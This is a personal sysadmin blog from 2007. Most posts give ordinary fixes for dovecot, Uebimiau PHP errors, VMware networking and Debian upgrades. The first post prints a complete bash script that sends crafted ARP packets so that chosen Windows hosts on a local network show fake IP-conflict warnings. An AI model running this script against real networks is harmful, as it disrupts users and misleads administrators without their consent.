Sunday, September 9, 2007

Remote fake IP conflict on windows systems

Hey unix users! Below is a little script named ”sendIPconflict”. With it you can force a ip conflict error message on a windows system by running it with one or more ip addresses as parameters.

 

——————————————————————————–
#!/bin/bash
#
# Name: sendIPconflict
# Version: 1.0
# Date: 2007-09-09 05:25pm
# Author: Benjamin Schmidt <schmidi2@directbox.com>
# License: GNU GPL
#

# Description:
# Expects one or more IP’s as parameters or from STDIN (one IP per line).
# This script then sends an arp-package to the owner of the specified IP
# and causes (on windows-systems) to show a warning-dialog about a IP conflict.
# Note: No ARP-Spoofing is made!
#
# Requirements:
# This script needs bash and the tool send_arp/arping (on a debian-system you
# have to install the packages fake and arping).
# You must run this script as root otherwise send_arp will fail with
# the msg “socket: Operation not permitted”.
#
# Use this script for education or for a little bit fun. Don’t abuse it!
#

# This MAC-address is automatically generated by vmware
MY_MAC=”00:0c:29:23:b8:0a”

# This script has to run as root (check this and change to root if required)
if [ $UID -ne 0 ];
then
   echo “This script needs root privileges!”
   echo “Please, type root’s password…”
   su -c “$0 $1 $2 $3 $4 $5 $6 $7 $8 $9″
   exit 1
fi

# Check if required tools are available
if [ -z "`which arping`" -o -z "`which send_arp`" ];
then
   echo “Please install arping and send_arp to run this script!”
   echo “On a debian system you have to install the packages fake and arping.”
   exit 1
fi

IPs=”"

# First check parameters
while [ "$1" != "" ]; do
   IPs=$IPs” “$1
   shift
done

# If no parameter was passed, listen on STDIN
if [ -z "$IPs" ];
then
   while read in; do
      IPs=$IPs” “$in
   done
fi

for TARGET_IP in $IPs
do
   # First get the MAC address of the IP owner
   TARGET_MAC=”`arping -fc 1 $TARGET_IP 2>/dev/null | grep “Unicast” | cut -d “[" -f 2 | cut -d "]” -f 1`”
   if [ -z "$TARGET_MAC" ];
   then
      # An older version of arping doesn’t work the same way
      
TARGET_MAC=”`arping -c 1 $TARGET_IP 2>/dev/null | grep “from” | cut -d ” ” -f 4`”
   fi
   

   if [ -z "$TARGET_MAC" ];
   then
      echo “The IP $TARGET_IP is not online!”
      continue
   fi

   # Then send only to this host an ARP-package that his IP now
   # also registered on my host
   send_arp $TARGET_IP $MY_MAC $TARGET_IP $TARGET_MAC

   echo “Sent IP conflict message to IP $TARGET_IP”
done
——————————————————————————–
 

Posted by schmidi2 in 16:33:49 | Permalink | No Comments »

Monday, August 27, 2007

Uebimiau Bug: class.uebimiau.php on line 467

See: http://www.uebimiau.org/

Migrating the webfrontend (uebimiau version 2.7.2, is a old release) from an old suse to debian with php5 caused one error:

Site: https://***/download.php?folder=inbox&ix=0&mnum=&bound=FF0tLS0tLS0tLS0tLFFFFFA0MDUwNjAyMDAwNjA2MDIwFFFFMDU=&part=1&sid={46D2FFFF54623-46D2FCE259441-FFFF232418}&tid=0&lid=1

Warning: Header may not contain more than a single header, new line detected. in /Data/DataInet/webmail.t-p.com/inc/class.uebimiau.php on line 467

 

Solve it this way

$ diff class.uebimiau.php.ori class.uebimiau.php
466,467c466,467
<                       header(“Content-Type: $content_type; name=\”$filename\”\r\n”
<                       .”Content-Length: $filesize\r\n”);

>                       header(“Content-Type: $content_type; name=\”$filename\”");
>                       header(“Content-Length: $filesize”);
469c469
<                       header(“Content-Disposition: $cdisp; filename=\”$filename\”\r\n”);

>                       header(“Content-Disposition: $cdisp; filename=\”$filename\”");
680c680
< ?>
\ No newline at end of file

> ?>

I dislike php 

Posted by schmidi2 in 17:50:14 | Permalink | No Comments »

Tuesday, August 21, 2007

Howto reset Astaro Security Gateway

Today we had to reset our astaro security gateway because somebody (better don’t say how, because he is paying my salary;) ) accidentally deactivated the main ethernet interface (the only interface enabled for the webfrontend). So because manually setting-up eth0 over the local console and deactivating all iptable-rules didn’t work, we decided to reset the hole machine. Happily I created minutes bevor a backup and copied it to my workstation.

 

Howto reset Astaro Security Gateway

1. Be sure you have somewhere your license-file and a backup

2. Login over the local console with the username root or loginuser (and do su)

3. Call the script: /etc/init.d/factoryreset
WARNING: This deletes all your configuration, the license and all backups which aren’t stored somewhere else.

After the reset, you can access the machine on eth0, ip 192.168.0.1, port 4444 (old astaro-versions use the default https port), protocol https.

Posted by schmidi2 in 13:50:28 | Permalink | No Comments »

Wednesday, August 15, 2007

Two instances of dovecot: pop3 and imap separated

On my mailserver runs postfix with dovecot. All authentication-data is stored in a mysql-table.

To be able to separate pop3-users from imap-users, respectively disable pop3/imap for specific accounts I had to create two dovecot instances. Please note that I don’t use the LDA from dovecot but maildrop otherwise it could become a little bit complicated.

HowTo install and run two separate dovecot instances 

First there must be two config-directories: “/etc/dovecot-pop3d/” and “/etc/dovecot-imapd/” (make copies from “/etc/dovecot/”). The same steps you have to do in “/var/run/” too (here make copies from “/var/run/dovecot/” of corse).

Below is the my configuration file of the imapd-dovecot (/etc/dovecot-imapd/dovecot.conf). To get the pop3d-version you have to edit the lines 1, 2, 22, 25 and 32.

protocols = imap
base_dir = /var/run/dovecot-imapd/
mail_location = maildir:/var/vmail/%d/%u
mail_extra_groups = mail
# Required: Must have UID of vmail
first_valid_uid = 107
last_valid_uid = 107
pop3_uidl_format = %08Xu%08Xv
maildir_copy_with_hardlinks = yes
disable_plaintext_auth = no
protocol imap {
        mail_plugins = quota imap_quota
        imap_client_workarounds = outlook-idle delay-newmail
}
protocol lda {
        postmaster_address = noaccount@t-p.com
        mail_plugins = quota
}
auth default {
        mechanisms = plain
        passdb sql {
                args = /etc/dovecot-imapd/dovecot-sql.conf
        }
        userdb sql {
                args = /etc/dovecot-imapd/dovecot-sql.conf
        }
        userdb prefetch {
        }
        user = nobody
        socket listen {
                master {
                        path = /var/run/dovecot-imapd/auth-master
                        mode = 0660
                        user = vmail
                        group = mail
                }
        }
}
dict {
}
plugin {
        quota = maildir:storage=10240
}

Also create your own “/etc/dovecot-imapd/dovecot-sql.conf”-file (example).

Now you to create some start/stop-scripts. To do that make two copies of “/etc/init.d/dovecot” named “dovecot-imapd” and “dovecot-pop3d” and change it this way:

$ diff /etc/init.d/dovecot /etc/init.d/dovecot-imapd
23c23,24
< NAME=dovecot

> DAEMON_OPTS=”-c /etc/dovecot-imapd/dovecot.conf”
> NAME=dovecot-imapd
35c36
<     /etc/dovecot/dovecot.conf`

>     /etc/dovecot-imapd/dovecot.conf`
45c46
<     if grep protocols /etc/dovecot/dovecot.conf | sed ’s/#.*$//’ | tr -d ‘”‘ | \

>     if grep protocols /etc/dovecot-imapd/dovecot.conf | sed ’s/#.*$//’ | tr -d ‘”‘ | \
52c53
<         start-stop-daemon –start –quiet –oknodo –exec $DAEMON

>         start-stop-daemon –start –quiet –oknodo –name $NAME –exec $DAEMON — $DAEMON_OPTS
59c60
<     start-stop-daemon –stop –quiet –oknodo –exec $DAEMON

>     start-stop-daemon –stop –quiet –oknodo –pidfile /var/run/dovecot-imapd/master.pid
82c83
<     start-stop-daemon –stop –quiet –oknodo –exec $DAEMON

>     start-stop-daemon –stop –quiet –oknodo –pidfile /var/run/dovecot-imapd/master.pid
84c85
<     start-stop-daemon –start –quiet –oknodo –exec $DAEMON

>     start-stop-daemon –start –quiet –oknodo –name $NAME –exec $DAEMON

This is again only for imapd, you can create by yourself the pop3d-version. Now make suitable symlinks in “/etc/rc?.d/” (I created them manually) to start/stop these daemons automatically. At the end remove the old script “/etc/init.d/dovecot” and all its links in “/etc/rc?.d/”.

Maybe there will be a own package for this someday.  

Source:
www.dovecot.org
http://wiki.dovecot.org/AuthDatabase/SQL

 

Posted by schmidi2 in 11:14:33 | Permalink | No Comments »

Tuesday, August 14, 2007

VMware eth0: ERROR while getting interface flags: No such device

When you first start a virtual machine (with a linux system) after moving, copying or downloading it from the internet, you will be prompted with the question whether you want to create a new identifier or not. If you click “Create”, you will probably don’t have network connection anymore in your virtual machine. This is because vmware changes the MAC-address of all ethernet-cards and linux detects a new but currently unconfigured network device.

$ sudo /etc/init.d/networking start
SIOCSIFADDR: No such device
eth0: ERROR while getting interface flags: No such device
SIOCSIFNETMASK: No such device
eth0: ERROR while getting interface flags: No such device
Failed to bring up eth0.

There are three ways to solve this problem:

Prevent
Click on the button “Keep” of the dialog prompted at the first start of the virtual machine after its store-position has changed (moving the directory of the virtual machine to a new location causes vmware to reshow this dialog).

Solve the right way
Edit the file “/etc/udev/rules.d/z25_persistent-net.rules”. You know by yourself what you have to do. If the file doesn’t exist,  go to “Solve the right way 2″. Else restart now udev with the command “/etc/init.d/udev restart” or reboot your system.

Solve the right way 2
Create the file “/etc/udev/rules.d/10_local.rules” and insert
KERNEL="eth*", SYSFS{address}="00:X0:18:ea:18:40", NAME="ethunten"
Don’t forget to replace the MAC-addres. Execute “udevtest /sys/class/net/eth0 net” and reboot your system.

Get backup
Replace the changed vmx-file with a backup (but I don’t belive you made one).

Live with it
When executing “ifconfig -a” you see the new network device (its probably called eth1, if you only have one network device).

 

Source:
http://www.debianhelp.co.uk/udev.htm
http://sicherheitsschwankung.de/post/jan/2005-10-13/renaming-network-devices-udev

 

Posted by schmidi2 in 18:10:14 | Permalink | No Comments »

Friday, August 10, 2007

Hierarchical structure of responsibility for managing IP address spaces

Posted by schmidi2 in 15:21:50 | Permalink | No Comments »

Sunday, August 5, 2007

upload_max_filesize and post_max_size should have same size

From typo3 I have learned that the two php-options (general in /etc/php/php.ini) should have the same value. Otherwise doesn’t make really sense. 

Maximum size for POST requests is smaller than max. upload filesize upload_max_filesize=20M, post_max_size=8M
You have defined a maximum size for file uploads which exceeds the allowed size for POST requests. Therefore the file uploads can not be larger than 8M

(Don’t forget restarting your webserver always you make a change in php.ini) 

Posted by schmidi2 in 20:22:23 | Permalink | No Comments »

Sunday, July 29, 2007

Uebimiau Bug: folders.php on line 157

See: http://www.uebimiau.org/

Migrating the webfrontend (uebimiau version 2.7.2, is a old release) from an old suse to debian with php5 caused one error:

Site: https://***/folders.php?folder=inbox&sid={****}&tid=0&lid=8

Warning: array_merge() [function.array-merge]: Argument #2 is not an array in /Data/DataInet/***/folders.php on line 157

 

Solve it this way

$ diff folders.php.ori folders.php
155,156c155,160
<
< $umFolderList = array_merge($system, $personal);

>
> if(isset($personal)) {
> $umFolderList = array_merge($system, $personal);
> } else {
> $umFolderList = array_merge($system);
> }

Posted by schmidi2 in 15:09:40 | Permalink | No Comments »

Monday, July 2, 2007

Unable to install vmware-player

Today I get the job to become acquainted with our .net projects (I dislike .net from microsoft because it’s a poor clone of java). First I had to install the vmware player to be able to run a windows system on my linux host and then install the visual studio stuff.

Sounds simple, but it was first impossible to compile runnable kernel modules required by vmware. And after I managed that with many dirty workarounds, vmplayer didn’t even start.

My workarounds:
I had to manually download and install the stable version (downgrade) of the packages cpp, gcc-4.1, gcc-4.1-base, libssp0 and module-init-tools. Now I have unmet dependencies (but I will upgrade them again immediately after successfully compiling the modules).

cpp-4.1_4.1.1-21_i386.deb
gcc-4.1_4.1.1-21_i386.deb
gcc-4.1-base_4.1.1-21_i386.deb
libssp0_4.1.1-21_i386.deb
module-init-tools_3.3-pre4-2_i386.deb

 

At least, trying to start vmplayer caused this error:

$ vmplayer
/usr/lib/vmware/bin/vmplayer: symbol lookup error: /usr/lib/vmware/lib/libvmwareui.so.0/libvmwareui.so.0: undefined symbol: _ZN3Gtk13RecentManager11get_defaultEv

I have already used too much time trying to solve this problem, I had to stop at this point.

Solution: Wait with upgrading your debian testing-system, if you wan’t a working vmware-environment. How long? Don’t know. I am sure the problem is because of one or more (many?) bug(s) in the current testing package-repository of debian.

Source:
http://www.vmware.com/community/thread.jspa?threadID=85481
http://www.vmware.com/community/thread.jspa?threadID=85612
http://www.vmware.com/community/thread.jspa?messageID=684669

 

Posted by schmidi2 in 18:23:32 | Permalink | No Comments »

Upgrade of my debian workstation

Yesterday evening I upgraded my linux system (Debian testing). 

$ sudo apt-get update
$ sudo apt-get upgrade

After downloading and installing the new packages, I checked again with “$ sudo apt-get upgrade” if really all packages are now up to date: No! I got this output:


0 upgraded, 0 newly installed, 0 to remove and 250 not upgraded.

 

Solution:
If you have a debian testing-system, always upgrade your software with:

$ sudo apt-get update
$ sudo apt-get dist-upgrade

Posted by schmidi2 in 18:02:28 | Permalink | No Comments »